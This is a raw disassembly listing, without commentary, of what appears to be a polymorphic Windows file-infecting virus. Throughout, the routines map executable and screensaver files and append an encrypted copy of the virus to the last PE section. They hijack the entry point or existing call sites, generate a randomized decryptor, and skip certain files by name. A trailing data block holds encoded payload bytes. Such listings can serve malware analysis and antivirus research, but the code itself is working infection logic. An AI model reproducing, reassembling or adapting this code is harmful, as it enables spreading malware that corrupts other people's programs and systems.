		jnz	short loc_40BAD0
		mov	al, 86h


loc_40BAD0:				; CODE XREF: seg002:0040BACCj
		mov	ah, ss:byte_403429[ebp]
		stosw
		cmp	ah, 5
		jnz	short loc_40BAE4
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_40BAE4:				; CODE XREF: seg002:0040BADBj
		test	ss:dword_403431[ebp], 10000h
		jnz	short loc_40BAFB
		mov	al, 40h
		or	al, ss:byte_403429[ebp]
		stosb
		jmp	short loc_40BB0A
; ---------------------------------------------------------------------------


loc_40BAFB:				; CODE XREF: seg002:0040BAEEj
		mov	ax, 0C083h
		or	ah, ss:byte_403429[ebp]
		stosw
		mov	al, 1
		stosb


loc_40BB0A:				; CODE XREF: seg002:0040BAF9j
		test	ss:dword_403431[ebp], 20000h
		jnz	short loc_40BB45
		test	ss:dword_403431[ebp], 40000h
		jnz	short loc_40BB3C
		mov	al, 0C0h
		or	al, ss:byte_40342B[ebp]
		mov	ah, ss:byte_403430[ebp]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_40BB44
; ---------------------------------------------------------------------------


loc_40BB3C:				; CODE XREF: seg002:0040BB20j
		mov	al, 40h
		or	al, ss:byte_40342B[ebp]


loc_40BB44:				; CODE XREF: seg002:0040BB3Aj
		stosb


loc_40BB45:				; CODE XREF: seg002:0040BB14j
		test	ss:dword_403431[ebp], 80000h
		jnz	short loc_40BB61
		mov	ax, 0E883h
		or	ah, ss:byte_40342A[ebp]
		stosw
		mov	al, 1
		jmp	short loc_40BB69
; ---------------------------------------------------------------------------


loc_40BB61:				; CODE XREF: seg002:0040BB4Fj
		mov	al, 48h
		or	al, ss:byte_40342A[ebp]


loc_40BB69:				; CODE XREF: seg002:0040BB5Fj
		stosb
		test	ss:dword_403431[ebp], 100000h
		mov	cl, 75h
		jnz	short loc_40BB9D
		mov	ax, 0F883h
		or	ah, ss:byte_40342A[ebp]
		stosw
		xor	eax, eax
		stosb
		sub	ss:dword_40398A[ebp], edi
		test	ss:dword_403431[ebp], 200000h
		jnz	short loc_40BBB8
		mov	cl, 77h
		jmp	short loc_40BBB8
; ---------------------------------------------------------------------------


loc_40BB9D:				; CODE XREF: seg002:0040BB76j
		mov	ax, 1809h
		or	ah, ss:byte_40342A[ebp]
		shl	ah, 3
		or	ah, ss:byte_40342A[ebp]
		stosw
		sub	ss:dword_40398A[ebp], edi


loc_40BBB8:				; CODE XREF: seg002:0040BB97j
					; seg002:0040BB9Bj
		mov	al, cl
		mov	ah, byte ptr ss:dword_40398A[ebp]
		stosw
		mov	al, 58h
		add	al, ss:byte_403429[ebp]
		stosb
		test	ss:dword_403431[ebp], 1000003h
		jz	loc_40BC62
		mov	eax, 268B6467h
		mov	ecx, ss:dword_403431[ebp]
		xor	ecx, 2000000h
		test	ecx, 3000000h
		jnz	short loc_40BBF9
		mov	eax, 2E876467h


loc_40BBF9:				; CODE XREF: seg002:0040BBF2j
		stosd
		mov	eax, 0
		stosw
		jnz	short loc_40BC09
		mov	ax, 0E58Bh
		stosw


loc_40BC09:				; CODE XREF: seg002:0040BC01j
		mov	eax, 68F6764h
		stosd
		xor	eax, eax
		stosw
		test	ss:dword_403431[ebp], 1000000h
		jnz	short loc_40BC5F
		test	ss:dword_403431[ebp], 8000000h
		jz	short loc_40BC51
		mov	ax, 6C8Dh
		test	ss:dword_403431[ebp], 2000000h
		setnz	cl
		or	ah, cl
		stosw
		test	cl, cl
		jnz	short loc_40BC4C
		mov	ax, 424h
		stosw
		jmp	short loc_40BC5F
; ---------------------------------------------------------------------------


loc_40BC4C:				; CODE XREF: seg002:0040BC42j
		mov	al, 8
		stosb
		jmp	short loc_40BC5F
; ---------------------------------------------------------------------------


loc_40BC51:				; CODE XREF: seg002:0040BC29j
		mov	ax, 5D58h
		add	al, ss:byte_40342B[ebp]
		stosw
		jmp	short loc_40BC62
; ---------------------------------------------------------------------------


loc_40BC5F:				; CODE XREF: seg002:0040BC1Dj
					; seg002:0040BC4Aj ...
		mov	al, 0C9h
		stosb


loc_40BC62:				; CODE XREF: seg002:0040BBD5j
					; seg002:0040BC5Dj
		test	ss:dword_403431[ebp], 80000000h
		jz	short loc_40BC8E
		mov	al, 7
		sub	al, ss:byte_403429[ebp]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, ss:byte_403429[ebp]
		shl	ah, 3
		add	ah, 4
		stosd
		mov	al, 61h
		stosb


loc_40BC8E:				; CODE XREF: seg002:0040BC6Cj
		mov	ax, 0E0FFh
		or	ah, ss:byte_403429[ebp]
		stosw
		test	ss:dword_403431[ebp], 20h
		jz	short loc_40BCF9
		test	ss:dword_403431[ebp], 20000000h
		jz	short loc_40BCBF


loc_40BCB2:				; CODE XREF: seg002:0040BCBDj
		test	edi, 3
		jz	short loc_40BCBF
		mov	al, 90h
		stosb
		jmp	short loc_40BCB2
; ---------------------------------------------------------------------------


loc_40BCBF:				; CODE XREF: seg002:0040BCB0j
					; seg002:0040BCB8j
		mov	eax, edi
		mov	ecx, ss:dword_403982[ebp]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, ss:byte_403429[ebp]
		stosb
		test	ss:dword_403431[ebp], 400000h
		jz	short loc_40BCED
		mov	ax, 0C350h
		or	al, ss:byte_403429[ebp]
		jmp	short loc_40BCF7
; ---------------------------------------------------------------------------


loc_40BCED:				; CODE XREF: seg002:0040BCDFj
		mov	ax, 0E0FFh
		or	ah, ss:byte_403429[ebp]


loc_40BCF7:				; CODE XREF: seg002:0040BCEBj
		stosw


loc_40BCF9:				; CODE XREF: seg002:0040BCA4j
		test	ss:dword_403431[ebp], 1000003h
		jz	short loc_40BD78
		test	ss:dword_403431[ebp], 20000000h
		jz	short loc_40BD1E


loc_40BD11:				; CODE XREF: seg002:0040BD1Cj
		test	edi, 3
		jz	short loc_40BD1E
		mov	al, 90h
		stosb
		jmp	short loc_40BD11
; ---------------------------------------------------------------------------


loc_40BD1E:				; CODE XREF: seg002:0040BD0Fj
					; seg002:0040BD17j
		mov	ecx, edi
		mov	eax, ss:dword_40399A[ebp]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	ss:dword_403431[ebp], 800000h
		jnz	short loc_40BD47
		lea	eax, byte_403429[ebp]


loc_40BD3F:				; CODE XREF: seg002:0040BD45j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_40BD3F


loc_40BD47:				; CODE XREF: seg002:0040BD37j
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_40BD5C
		mov	ax, 0C031h
		stosw


loc_40BD5C:				; CODE XREF: seg002:0040BD54j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_40BD75
		mov	ax, 0C031h
		stosw


loc_40BD75:				; CODE XREF: seg002:0040BD6Dj
		mov	al, 0C3h
		stosb


loc_40BD78:				; CODE XREF: seg002:0040BD03j
		lea	eax, dword_40343C[ebp]
		test	ss:dword_403431[ebp], 10000000h
		jnz	short loc_40BD90
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_40BDA9
; ---------------------------------------------------------------------------


loc_40BD90:				; CODE XREF: seg002:0040BD88j
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, ss:dword_4039A2[ebp]
		add	ss:dword_403982[ebp], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_40BDA9:				; CODE XREF: seg002:0040BD8Ej
		mov	[ebp+40106Dh], edi
		mov	edi, ss:dword_403986[ebp]
		sub	eax, ss:dword_403982[ebp]
		test	ss:dword_403431[ebp], 40h
		jz	short loc_40BDC9
		neg	eax


loc_40BDC9:				; CODE XREF: seg002:0040BDC5j
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40BDCD	proc near		; CODE XREF: sub_40C1F9+2A8p
		push	esi
		push	edi
		cmp	ss:dword_4039AE[ebp], 0
		jz	loc_40BFB5
		call	near ptr loc_40BDED+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_40BDED:				; CODE XREF: sub_40BDCD+Fp
		add	bh, bh
sub_40BDCD	endp ; sp-analysis failed

		xchg	eax, ebp
		mov	ds:85890040h, dh
		mov	esi, 53004039h
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_40B507
		mov	edx, ss:dword_4039A6[ebp]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	ss:dword_4039C2[ebp], eax
		add	eax, [edx+8]
		mov	ss:dword_4039C6[ebp], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_40B507
		mov	edi, ss:dword_4039A6[ebp]
		push	esi
		call	sub_40B507
		mov	edx, ss:dword_4039A6[ebp]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_40BFB5
		jz	loc_40BFB5
		add	esi, ss:dword_4039AA[ebp]
		add	esi, ss:dword_403972[ebp]
; START	OF FUNCTION CHUNK FOR sub_40BF86


loc_40BE67:				; CODE XREF: sub_40BF86+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_40BF12
		lea	eax, [esi+4]
		sub	eax, ss:dword_403972[ebp]
		add	eax, [esi]
		push	eax
		call	sub_40B507
		cmp	ss:dword_4039A6[ebp], 0
		jnz	short loc_40BE95
		cmp	eax, [edi+0Ch]
		jnb	loc_40BFAE
		jmp	short loc_40BEA1
; ---------------------------------------------------------------------------


loc_40BE95:				; CODE XREF: sub_40BF86-FEj
		cmp	ss:dword_4039A6[ebp], edx
		jnz	loc_40BFAE


loc_40BEA1:				; CODE XREF: sub_40BF86-F3j
		add	eax, ss:dword_403972[ebp]
		cmp	word ptr [eax],	25FFh
		jnz	loc_40BFAE
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_40B507
		cmp	ss:dword_4039A6[ebp], edi
		jnz	loc_40BFAE
		add	eax, ss:dword_4039AA[ebp]
		add	eax, ss:dword_403972[ebp]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_40BFAE
		cmp	eax, [edi+8]
		jnb	loc_40BFAE


loc_40BEEA:				; CODE XREF: sub_40BF86+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, ss:dword_403972[ebp]
		push	edx
		push	eax
		push	ss:dword_4039BE[ebp]
		call	dword ptr [ebp+403548h]
		pop	edx
		test	eax, eax
		jnz	loc_40BFC4
		jmp	loc_40BFAE
; ---------------------------------------------------------------------------


loc_40BF12:				; CODE XREF: sub_40BF86-11Cj
		cmp	al, 0FFh
		jnz	loc_40BFAE
		cmp	byte ptr [esi],	15h
		jnz	loc_40BFAE
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_40B507
		cmp	ss:dword_4039A6[ebp], edi
		jnz	short loc_40BFAE
		add	eax, ss:dword_4039AA[ebp]
		add	eax, ss:dword_403972[ebp]
		mov	ss:dword_4039CA[ebp], eax
		mov	eax, [eax]
		cmp	eax, ss:dword_4039C2[ebp]
		jb	short loc_40BF5B
		cmp	eax, ss:dword_4039C6[ebp]
		jb	short loc_40BFC4


loc_40BF5B:				; CODE XREF: sub_40BF86-35j
		cmp	eax, 70000000h
		jb	short loc_40BF99
		call	sub_40BF86
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, ss:dword_4039CA[ebp]
		jnz	short locret_40BF85
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_40BFA0
; ---------------------------------------------------------------------------

locret_40BF85:				; CODE XREF: sub_40BF86-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_40BF86

; =============== S U B	R O U T	I N E =======================================



sub_40BF86	proc near		; CODE XREF: sub_40BF86-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 0040BE67 SIZE 0000011F BYTES

		pop	ss:dword_403992[ebp]
		pusha
		mov	esi, ss:dword_403972[ebp]
		call	sub_40B60E
		popa


loc_40BF99:				; CODE XREF: sub_40BF86-26j
		test	eax, 80000000h
		jnz	short loc_40BFAE


loc_40BFA0:				; CODE XREF: sub_40BF86-3j
		sub	eax, [edi+0Ch]
		jb	short loc_40BFAE
		cmp	eax, [edi+8]
		jb	loc_40BEEA


loc_40BFAE:				; CODE XREF: sub_40BF86-F9j
					; sub_40BF86-EBj ...
		dec	ecx
		jnz	loc_40BE67


loc_40BFB5:				; CODE XREF: sub_40BDCD+9j
					; seg002:0040BE4Fj ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+2431h], 7FFFFFFFh
		jmp	short loc_40C000
; ---------------------------------------------------------------------------


loc_40BFC4:				; CODE XREF: sub_40BF86-7Fj
					; sub_40BF86-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, ss:dword_4039AE[ebp]
		lea	edi, [ecx+2435h]
		add	eax, ss:dword_403972[ebp]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+52h], 5
		mov	[esi-4], eax


loc_40C000:				; CODE XREF: sub_40BF86+3Cj
		pop	edi
		pop	esi
		retn
sub_40BF86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C003	proc near		; CODE XREF: seg002:0040C1D1p
					; sub_40C1F9+127p
		lea	esi, dword_40384E[ebp]
		push	esi
		call	dword ptr [ebp+40357Ch]
		cmp	eax, 0FFFFFFFFh
		jz	locret_40C0D4
		mov	ss:dword_403952[ebp], eax
		push	0
		push	esi
		call	dword ptr [ebp+4035B4h]
		test	eax, eax
		jz	locret_40C0D4
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+40355Ch]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C58C
		mov	ss:dword_403956[ebp], eax
		lea	ecx, dword_40395A[ebp]
		lea	edx, dword_403962[ebp]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+403584h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C580
		push	0
		push	ss:dword_403956[ebp]
		call	dword ptr [ebp+403580h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C580
		mov	ss:dword_40396A[ebp], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	ss:dword_403956[ebp]
		call	dword ptr [ebp+403560h]
		test	eax, eax
		jz	loc_40C580
		xor	ecx, ecx
		mov	ss:dword_40396E[ebp], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr [ebp+4035A0h]
		test	eax, eax
		jz	loc_40C558
		mov	ss:dword_403972[ebp], eax

locret_40C0D4:				; CODE XREF: sub_40C003+10j
					; sub_40C003+27j ...
		retn
sub_40C003	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C0D5	proc near		; CODE XREF: sub_40C1F9+117p
					; sub_40C1F9+223p
		mov	eax, 69CDh
		mov	ecx, [ebx+38h]
		test	ss:dword_403431[ebp], 10000000h
		jnz	short loc_40C0EF
		add	eax, [ebp+40106Dh]


loc_40C0EF:				; CODE XREF: sub_40C0D5+12j
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	ss:dword_40397A[ebp], eax
		mov	eax, 243Bh
		mov	ecx, [ebx+3Ch]
		add	eax, [ebp+40106Dh]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	ss:dword_403976[ebp], eax
		retn
sub_40C0D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C11A	proc near		; CODE XREF: sub_40C1F9:loc_40C248p
					; sub_40C1F9+13Dp
		movzx	ecx, word ptr [ebx+6]
		stc


loc_40C11F:				; CODE XREF: sub_40C11A+23j
		jecxz	short locret_40C156
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_40C156
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_40C11F
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, ss:dword_40396A[ebp]

locret_40C156:				; CODE XREF: sub_40C11A:loc_40C11Fj
					; sub_40C11A+1Dj ...
		retn
sub_40C11A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C157	proc near		; CODE XREF: seg002:0040C1E3p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_40C157	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40C164:				; CODE XREF: seg002:0040C185j
		mov	ecx, edi
		jmp	short loc_40C173
; ---------------------------------------------------------------------------
		lea	edi, dword_40384E[ebp]
		cld


loc_40C16F:				; CODE XREF: seg002:0040C181j
		mov	ebx, edi
		xor	ecx, ecx


loc_40C173:				; CODE XREF: seg002:0040C166j
					; seg002:0040C189j
		lodsb
		cmp	al, 61h
		jb	short loc_40C17E
		cmp	al, 7Ah
		ja	short loc_40C17E
		sub	al, 20h


loc_40C17E:				; CODE XREF: seg002:0040C176j
					; seg002:0040C17Aj
		stosb
		cmp	al, 5Ch
		jz	short loc_40C16F
		cmp	al, 2Eh
		jz	short loc_40C164
		cmp	al, 0
		jnz	short loc_40C173
		jecxz	short locret_40C156
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_40C1A1
		cmp	eax, 524353h
		jnz	locret_40C0D4


loc_40C1A1:				; CODE XREF: seg002:0040C194j
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_40C0D4
		cmp	eax, 4E554357h
		jz	locret_40C0D4
		cmp	eax, 32334357h
		jz	locret_40C0D4
		cmp	eax, 4F545350h
		jz	locret_40C0D4
		xor	ebx, ebx
		call	sub_40C003
		jz	locret_40C0D4
		xor	edx, edx
		call	sub_40C1F9
		call	sub_40C157
		call	$+5
		pop	ebp
		sub	ebp, 402F8Ah
		jmp	loc_40C536

; =============== S U B	R O U T	I N E =======================================



sub_40C1F9	proc near		; CODE XREF: seg002:0040C1DEp

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, ss:dword_403972[ebp]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_40C536
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_40C536
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_40C536
		test	byte ptr [ebx+5Ch], 2
		mov	ecx, [esi+20h]
		jz	loc_40C536
		jecxz	short loc_40C248
		cmp	ecx, 101h
		jbe	loc_40C536


loc_40C248:				; CODE XREF: sub_40C1F9+41j
		call	sub_40C11A
		jb	loc_40C536
		mov	ecx, [edx+10h]
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	sub_40AD52
		xor	ss:byte_40342F[ebp], dl
		mov	cl, 20h
		xor	ss:byte_403430[ebp], dh


loc_40C272:				; CODE XREF: sub_40C1F9+92j
		push	20h
		dec	cl
		pop	eax
		js	short loc_40C28D
		call	sub_40AD52
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	ss:dword_403431[ebp], edx
		jmp	short loc_40C272
; ---------------------------------------------------------------------------


loc_40C28D:				; CODE XREF: sub_40C1F9+7Ej
					; sub_40C1F9+CDj ...
		push	6
		pop	ecx


loc_40C293:				; CODE XREF: sub_40C1F9+B8j
		push	6
		pop	eax
		call	sub_40AD52
		mov	al, ss:byte_403429[ebp]
		xchg	al, byte_403429[edx+ebp]
		mov	ss:byte_403429[ebp], al
		loop	loc_40C293
		test	ss:dword_403431[ebp], 8
		jnz	short loc_40C2C8
		cmp	ss:byte_40342B[ebp], 1
		jz	short loc_40C28D


loc_40C2C8:				; CODE XREF: sub_40C1F9+C4j
		test	ss:dword_403431[ebp], 1000003h
		jz	short loc_40C2EF
		cmp	ss:byte_403429[ebp], 5
		jz	short loc_40C28D
		cmp	ss:byte_40342A[ebp], 5
		jz	short loc_40C28D
		cmp	ss:byte_40342B[ebp], 5
		jz	short loc_40C28D


loc_40C2EF:				; CODE XREF: sub_40C1F9+D9j
		test	ss:dword_403431[ebp], 80000000h
		jz	short loc_40C304
		cmp	ss:byte_403429[ebp], 2
		ja	short loc_40C28D


loc_40C304:				; CODE XREF: sub_40C1F9+100j
		and	ss:dword_4039AE[ebp], 0
		call	loc_40B79F
		call	sub_40C0D5
		call	sub_40C53F
		mov	ebx, ss:dword_403976[ebp]
		call	sub_40C003
		jz	loc_40C536
		mov	esi, ss:dword_403972[ebp]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_40C11A
		jb	loc_40C536
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	ss:dword_403431[ebp], 10000000h
		jnz	short loc_40C36C
		lea	esi, dword_40343C[ebp]
		mov	ecx, [ebp+40106Dh]
		rep movsb


loc_40C36C:				; CODE XREF: sub_40C1F9+163j
		push	edi
		mov	ecx, 90Fh
		lea	esi, sub_401000[ebp]
		rep movsd
		mov	cl, 0
		jecxz	short loc_40C380
		rep movsb


loc_40C380:				; CODE XREF: sub_40C1F9+183j
		test	ss:dword_403431[ebp], 10000000h
		jz	loc_40C438
		push	dword ptr [ebx+28h]
		call	sub_40B507
		mov	edx, ss:dword_4039A6[ebp]
		test	edx, edx
		jz	loc_40C438
		mov	esi, ss:dword_403972[ebp]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_40C3BD
		xor	ecx, ecx


loc_40C3BD:				; CODE XREF: sub_40C1F9+1C0j
		add	esi, [edx+14h]
		cmp	ecx, [ebp+40106Dh]
		mov	ecx, [ebp+40106Dh]
		jb	short loc_40C424
		mov	edi, [esp+14h+var_14]
		and	dword ptr [ebp+40106Dh], 0
		and	dword ptr [edi+6Dh], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, ss:dword_403986[ebp]
		test	ss:dword_403431[ebp], 40h
		jz	short loc_40C3FD
		neg	dword ptr [eax]


loc_40C3FD:				; CODE XREF: sub_40C1F9+200j
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	ss:dword_4039AE[ebp], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	ss:dword_403431[ebp], 40h
		jz	short loc_40C41B
		neg	dword ptr [eax]


loc_40C41B:				; CODE XREF: sub_40C1F9+21Ej
		push	ecx
		call	sub_40C0D5
		pop	ecx
		jmp	short loc_40C430
; ---------------------------------------------------------------------------


loc_40C424:				; CODE XREF: sub_40C1F9+1D3j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_40C430:				; CODE XREF: sub_40C1F9+229j
		lea	esi, dword_40343C[ebp]
		rep movsb


loc_40C438:				; CODE XREF: sub_40C1F9+191j
					; sub_40C1F9+1A7j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+1D2h]
		cmp	dl, ss:byte_40342F[ebp]
		jnz	short loc_40C451
		imul	edx, 12345678h


loc_40C451:				; CODE XREF: sub_40C1F9+250j
		mov	[eax-1], dl
		call	sub_40A425
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	ss:dword_403431[ebp], 10000000h
		lea	eax, [ecx+6]
		jnz	short loc_40C482
		mov	ss:dword_4039AE[ebp], ecx
		add	eax, [ebp+40106Dh]
		and	dword ptr [edi+6Dh], 0


loc_40C482:				; CODE XREF: sub_40C1F9+274j
		sub	eax, [ebx+28h]
		push	dword ptr ss:unk_40397E[ebp]
		mov	[edi+52h], eax
		pop	dword ptr [esi+20h]
		test	ss:dword_403431[ebp], 80000000h
		jz	short loc_40C4A7
		push	edx
		call	sub_40BDCD
		pop	edx


loc_40C4A7:				; CODE XREF: sub_40C1F9+2A5j
		mov	ecx, ss:dword_4039AE[ebp]
		jecxz	short loc_40C4B2
		mov	[ebx+28h], ecx


loc_40C4B2:				; CODE XREF: sub_40C1F9+2B4j
		mov	ecx, [edx+10h]
		mov	eax, ss:dword_403976[ebp]
		cmp	[edx+8], ecx
		jnb	short loc_40C4C3
		mov	[edx+8], ecx


loc_40C4C3:				; CODE XREF: sub_40C1F9+2C5j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, ss:dword_40397A[ebp]
		push	243Ch
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, ss:byte_40342F[ebp]
		test	ss:dword_403431[ebp], 10000000h
		jz	short loc_40C4F4
		add	ecx, [ebp+40106Dh]


loc_40C4F4:				; CODE XREF: sub_40C1F9+2F3j
		mov	dh, 0
		test	ss:dword_403431[ebp], 20000h
		jnz	short loc_40C516
		inc	dh
		test	ss:dword_403431[ebp], 40000h
		jnz	short loc_40C516
		mov	dh, ss:byte_403430[ebp]


loc_40C516:				; CODE XREF: sub_40C1F9+307j
					; sub_40C1F9+315j
		test	ss:dword_403431[ebp], 4000h
		jnz	short loc_40C52D


loc_40C522:				; CODE XREF: sub_40C1F9+330j
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_40C522
		jmp	short loc_40C536
; ---------------------------------------------------------------------------


loc_40C52D:				; CODE XREF: sub_40C1F9+327j
					; sub_40C1F9+33Bj
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_40C52D


loc_40C536:				; CODE XREF: seg002:0040C1F4j
					; sub_40C1F9+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_40C1F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C53F	proc near		; CODE XREF: sub_40C1F9+11Cp
		cmp	ss:dword_403956[ebp], 0
		jz	locret_40C0D4
		push	ss:dword_403972[ebp]
		call	dword ptr [ebp+4035C4h]


loc_40C558:				; CODE XREF: sub_40C003+C5j
		push	ss:dword_40396E[ebp]
		call	dword ptr [ebp+40353Ch]
		lea	ecx, dword_40395A[ebp]
		lea	edx, dword_403962[ebp]
		push	ecx
		push	edx
		push	0
		push	ss:dword_403956[ebp]
		call	dword ptr [ebp+4035B8h]


loc_40C580:				; CODE XREF: sub_40C003+6Bj
					; sub_40C003+82j ...
		push	ss:dword_403956[ebp]
		call	dword ptr [ebp+40353Ch]


loc_40C58C:				; CODE XREF: sub_40C003+45j
		lea	esi, dword_40384E[ebp]
		push	ss:dword_403952[ebp]
		push	esi
		call	dword ptr [ebp+4035B4h]
		and	ss:dword_403956[ebp], 0
		retn
sub_40C53F	endp

; ---------------------------------------------------------------------------
		db 0E8h
		dd 0
		dd 81016A5Dh, 403349EDh, 0FF05800h, 158085C1h, 0C0850040h
		dd 0FFC883C3h, 85C10FF0h, 401580h, 103DC3h, 1C75002Ah
		dd 247C8166h, 75716C0Ch, 0C4E86013h, 75FFFFFFh,	0FB7EE805h
		dd 0D2E8FFFFh, 61FFFFFFh, 782DFF2Eh, 0B8123456h, 25h, 0FFA5E860h
		dd 3975FFFFh, 3024448Bh, 384EB58Dh, 508B0040h, 3A816608h
		dd 25730206h, 6856h, 0C48B00FFh, 5052006Ah, 35F895FFh
		dd 0C4830040h, 5C3E8108h, 755C3F3Fh, 4C68303h, 0FFFB2BE8h
		dd 0FF7FE8FFh, 0C361FFFFh, 74B8h, 0B8B1EB00h, 2Fh, 10E8h
		dd 20C200h, 30B8h, 3E800h, 24C20000h, 24548D00h, 832ECD0Ch
		dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 13ED811Ah
		dd 0E8004034h, 0FFFFE539h, 4C261h, 2070103h, 0B0640605h
		dd 38DB330h, 119415FFh,	900100h, 3Fh dup(0)
		dd 47000000h, 0AD7C809Bh, 317C8308h, 0A07C9103h, 7C80ADh
		dd 2 dup(0)
		dd 0B6000000h, 247C80BDh, 5C7C801Ah, 677C8094h,	2C7C8023h
		dd 377C8104h, 0F7C8106h, 587C864Bh, 0EC7C80C0h,	3C7C80E7h
		dd 777C8115h, 457C810Ah, 0A17C831Ch, 0FF7C80B6h, 0CA7C8608h
		dd 0DA7C835Dh, 0DE7C8111h, 777C812Ah, 57C801Dh,	767C80B9h
		dd 0E17C80BBh, 0E57C8309h, 587C863Dh, 827C863Fh, 0B87C8127h
		dd 427C831Ch, 1C7C8024h, 747C810Bh, 517C80B9h, 877C809Ah
		dd 607C810Dh, 827C90D4h, 547C90D6h, 697C90D7h, 937C90D7h
		dd 557C90D7h, 0FD7C90DCh, 907C90DCh, 0B67C90DDh, 327C90DEh
		dd 0C67C90EAh, 7C9130h,	15h dup(0)
a68:
		unicode	0, <68>
		dw 0C8BCh
a@		db '@',0
		dd offset dword_42005C
aAsenamedobject:
